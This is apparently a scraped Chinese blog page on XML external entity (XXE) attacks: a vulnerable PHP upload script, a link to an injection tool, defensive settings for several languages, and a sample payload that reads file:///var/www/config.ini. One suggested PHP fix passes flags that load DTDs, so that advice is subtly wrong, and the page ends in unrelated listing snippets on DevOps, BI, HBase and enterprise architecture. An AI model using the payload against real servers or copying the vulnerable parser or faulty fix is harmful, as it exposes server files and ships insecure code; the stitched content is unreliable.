    <h1>Result</h1>

    <?php

        if( isset($_FILES["file"])){

            $doc = new DOMDocument();

            $doc->validateOnParse = true;

            $doc->Load($_FILES["file"]["tmp_name"]);

            $tags = $doc->getElementsByTagName("data");

            foreach($tags as $tag) {

                echo "<pre>" . $tag->nodeValue . "</pre>\n";

            }

     

        } else {

            echo "<h3>No file was selected for upload.</h3>";

        }

    ?>

    </body>

    </html>


     

     

     

    ###xxe自动化注入检查工具

    https://github.com/enjoiz/XXEinjector

    ### XXE防御

    1.使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);


    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    2.过滤用户提交的XML数据

     对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.

    例如,让我们来试着定义一个新的自定义实体“harmless”。

    <!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

    现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。

    <?xml version="1.0"?>

    <!DOCTYPE results [<!ENTITY harmless "completely harmless">]>

    <results>

        <result>This result is &harmless;</result>

    </results>

    XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:

    This result is completely harmless

    下面的这个就肯定不是无害的输入:

    <?xml version="1.0"?>

    <!DOCTYPE results [<!ENTITY harmless SYSTEM

    "file:///var/www/config.ini">]>

    <results>

        <result>&harmless;</result>

    </results>

    3.检查所使用的底层xml解析库,默认禁止外部实体的解析
    4.使用第三方应用代码及时升级补丁
    5.同时增强对系统的监控,防止此问题被人利用
    对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

    <?php

    libxml_disable_entity_loader(true);

    ?>

    以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

    <?php

    // with the XMLReader functionality:

    $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);

    // with the DOM functionality:

    $dom = new DOMDocument();

    $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);

    ?>>

     

    <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

    展开全文
  • 第一条原则体现了价值流的从左向右的流动,第二条...第三条原则聚焦于创造一个持续学习和持续实践的企业文化。而这些原则使得组织中的成员能够不断地积累知识和经验,而这些知识和经验最终成为团队乃至组织的巨大收获。
  • 传统汽车是单独的个体,而自动驾驶汽车实现了自身与外部环境的互联互通,使得自动驾驶汽车变成了一个移动终端,而产生这一变革的关键就在于车联网技术的成熟。车联网技术使得自动驾驶汽车通过云端的高精地图实现路径...
  • BI的系统构成

    千次阅读 2013-01-25 10:33:32
    在当前的全球化竞争日益激烈的经济环境下,企业的生存发展,关键在于它是否能够对各种不同的用户需求做出快速的反应及正确的决策并提供优质的产品和服务。商业智能(Business Intelligence, BI)系统是指运用数据仓库...
  • 经过几十年的发展业界已经涌现出了很多企业架构以及企业架构框架理论。企业架构创建的方法论,亦即企业架构框架,由于其具备标准化的特性,将被作为本章内容的重点。当然,即便企业架构框架具有其标准性的一面,也并...
  • 【HBase】HBase的环境搭建及基本使用

    万次阅读 2018-07-22 17:29:06
    HBase的简要介绍、环境安装及基本操作。
  • 今天,随着中国加入WTO,面临全球信息技术的飞速发展和市场竞争的加剧,原有的企业组织结构和管理模式已经不能适应新的环境企业迫切需要进行组织变革,以便在激烈的竞争中处于不败之地。信息技术的应用不但需要...
  • ESB-企业服务总线

    万次阅读 2017-05-18 13:53:08
    ESB全称为Enterprise Service Bus,即企业服务总线。它是传统中间件技术与XML、Web服务等技术结合的产物。ESB提供了网络中最基本的连接中枢,是构筑企业神经系统的必要元素。ESB的出现改变了传统的软件架构,可以...
  • 本书论述在设计和建造数据仓库中涉及的所有主要问题,论述分析型环境(决策支持系统环境)以及在这种环境中的数据构造。主要内容包括数据仓库的设计与建造步骤,传统系统到数据仓库的迁移,数据仓库的数据粒度、数据...
  • 企业架构(Enterprise Architecture),简称EA。是指对企业事业信息管理系统中具有体系的、普遍性的问题而提供的通用解决方案,更确切的说,是基于业务导向和驱动的架构来理解、分析、设计、构建、集成、扩展、运行...
  • 企业级云应用平台的实践和思考

    千次阅读 2016-07-18 16:36:31
    今天要讲的题目是《企业级云平台的实践和思考》, 主要涉及一些基于云环境的应用构建的技术, 讲一下我在这方面的一些实践经历和一些思考, 主要讲两个参与开发的系统的功能和设计为主,不会涉及太多细节技术。...
  • 企业CNPM私有仓库、组件库实现方案

    千次阅读 2018-09-26 21:58:26
    一、为什么要使用组件抽离,外部安装的方法,多处调用的方法?  方便快捷,面向未来式开发,提高效率,避免冗余,提升项目质量,多项目可以同时使用,不用多次重复开发。在团队内部搭建私有仓库,方便团队内部成员...
  • 4 企业文化整个理论系统概述为5个要素,即企业环境、价值观、英雄人物、文化仪式和文化网络。 3 5 文化的内容 4 5.1 使命感 宗教信仰(非常重要,占据了70%的重量,以及宗教典籍 ,宗教往往包含了此文化的哲
  • 第2章企业管理中的经济学原理

    千次阅读 2015-03-03 16:15:10
    企业的主要使命是创造经济效益,企业人员理应懂一些必要的经济学原理,才能把企业经营好。 遗憾的是,国内大学理工科专业基本不开设经济学课程(也不开设管理学课程),我本人从本科读到博士毕业都没有上过这类...
  • Google帝国研究——Google的产业构成

    千次阅读 2017-05-31 22:33:00
    Google帝国研究——Google的产业构成 ...
  • 关键词:基于行为的学习,基于知识的学习,商业智能,工业4.0,知识图谱,企业图谱, 图数据库, 图计算引擎, 数据可视化应用场景:征信、风控、问答、医疗、能源、舆情、反欺诈、市场营销、社...
  • 根据跨国通讯公司沃达丰的M2M晴雨表数据,在已经应用 M2M 技术的企业中,有66%声称他们的战略侧重于外部利益相关者,M2M 的趋势已经显而易见。 全球已经有超过四分之一的企业在应用 M2M 技术,随着 M2M 技术越来越...
  • 远程全方位环境监测无人机系统

    千次阅读 2019-08-01 01:52:00
    随着我国城市化、工业化进程的迅速推进,人民生活水平的快速提高,国家与社会开始越来越关注周边环境的保护。当前,我国多地区面临大气环境质量改善巨大压力。国务院也相继印发了《打赢蓝天保卫战三年行动计划》《水...
  • 某工业企业公共服务平台架构设计

    千次阅读 2011-01-26 14:51:00
    最近参与到的一个大的工业企业系统的架构设计,思路整理的过程记录下来
  • 企业文化在企业管理中的作用

    千次阅读 2009-12-22 20:27:00
    关键字:企业文化 企业管理一、企业文化的内容1、企业文化的定义:在商品经济范畴,作为组织单元的多种模式之一,按照一定的组织规律,有机构成的经济实体,一般以赢利为目的,以实现投资人、客户、员工、社会大众...
  • 了解企业的运行逻辑,就要考虑一下企业所在行业的价值链、产业链这些相对宏观的方面,然后再考虑微观的层面。从微观方面,要了解一家企业的运作逻辑,可以去梳理典型企业的核心业务流,岗位都是基于业务流而产生的。...
  • 企业服务总线

    千次阅读 2006-06-19 16:34:00
    ESB(Enterprise Service Bus,即企业服务总线)是传统中间件技术与XML、Web服务等技术结合的产物。ESB提供了网络中最基本的连接中枢,是构筑企业神经系统的必要元素。 企业服务总线ESB就是一种可以提供可靠的、有...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 32,602
精华内容 13,040
关键字:

企业外部环境构成